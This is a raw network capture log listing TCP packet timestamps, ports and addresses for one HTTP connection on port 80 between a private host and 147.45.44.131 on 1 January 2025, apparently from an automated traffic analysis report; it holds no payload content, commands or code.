Jan 1, 2025 08:53:02.367206097 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367211103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367222071 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367232084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367233992 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367242098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367250919 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367254019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367268085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367283106 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367306948 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367620945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367631912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367649078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367659092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367669106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367674112 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367680073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367691040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367695093 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367702007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367712975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367713928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367723942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367734909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367739916 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367746115 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367758036 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367769003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367769957 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367803097 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368176937 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368187904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368199110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368208885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368220091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368226051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368232965 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368246078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368256092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368257999 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368295908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368494034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368505955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368525028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368536949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368546963 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368547916 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368558884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368575096 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368594885 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368707895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368719101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368730068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368738890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368747950 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368758917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368762016 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368771076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368784904 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368820906 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368855000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368865967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368876934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368886948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.368902922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.368932009 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.369035006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369045973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369055986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369066954 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369077921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369081020 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.369088888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369100094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369112015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.369116068 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.369131088 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.369154930 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.449333906 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449376106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449385881 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449528933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449529886 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.449542999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449553967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449565887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449585915 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.449609995 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.449700117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449712038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449722052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449733019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449755907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.449769020 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.449925900 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449937105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449948072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.449975967 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.449987888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.450089931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450100899 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450110912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450120926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450136900 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450145960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.450149059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450160980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450172901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.450174093 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.450198889 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.450212002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.451064110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.451100111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.451111078 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.451148987 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.451240063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.451256037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.451266050 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.451277018 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.451294899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.451308966 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452369928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452379942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452390909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452420950 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452440023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452497959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452508926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452550888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452562094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452573061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452581882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452611923 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452692032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452702999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452713013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452745914 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452764034 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452851057 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452862024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452903986 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.452954054 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452965021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452975988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452986002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.452996969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453006983 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453007936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453020096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453030109 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453047037 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453279972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453291893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453301907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453314066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453331947 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453361988 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453425884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453437090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453447104 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453457117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453468084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453475952 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453479052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453490973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453496933 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453517914 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453528881 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453800917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453813076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453823090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453833103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453849077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453857899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453859091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.453882933 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.453902006 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454093933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454103947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454116106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454125881 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454138041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454149008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454149008 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454175949 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454188108 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454385996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454397917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454407930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454416990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454427958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454437971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454441071 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454449892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454461098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454468966 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454472065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454483986 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454489946 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454495907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454502106 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454508066 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454519987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454530001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454534054 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454544067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454566002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454580069 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454880953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454891920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454927921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454936981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.454940081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.454979897 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455058098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455069065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455079079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455089092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455100060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455111027 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455140114 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455210924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455221891 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455233097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455243111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455252886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455257893 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455302000 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455346107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455358028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455368042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455378056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455403090 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455421925 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455487013 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455497980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455528021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455533028 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455540895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455553055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455563068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455569983 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455579996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455583096 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455614090 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455763102 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455775023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455790043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455801010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455811024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455813885 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455821991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455832958 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455843925 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455854893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455854893 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455866098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.455885887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.455904007 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536236048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536247015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536258936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536319971 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536356926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536369085 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536381006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536437035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536437035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536541939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536554098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536566973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536618948 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536717892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536730051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536741972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536752939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536767960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536787033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536797047 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536799908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536845922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536890030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536902905 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536912918 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536923885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536936045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536940098 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536948919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536961079 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536961079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.536974907 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.536976099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.537019014 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.537828922 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.537873983 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.537878990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.537890911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.537926912 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.538027048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.538038969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.538080931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.538084030 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.538091898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.538145065 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539197922 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539264917 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539274931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539304018 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539364100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539375067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539385080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539395094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539406061 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539418936 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539489031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539530993 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539556026 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539567947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539580107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539603949 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539733887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539745092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539755106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539776087 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539808035 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.539962053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539971113 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539980888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.539992094 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540002108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540011883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540021896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540023088 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540034056 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540047884 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540064096 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540076971 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.540278912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.540291071 CET	80	49700	147.45.44.131	192.168.2.6
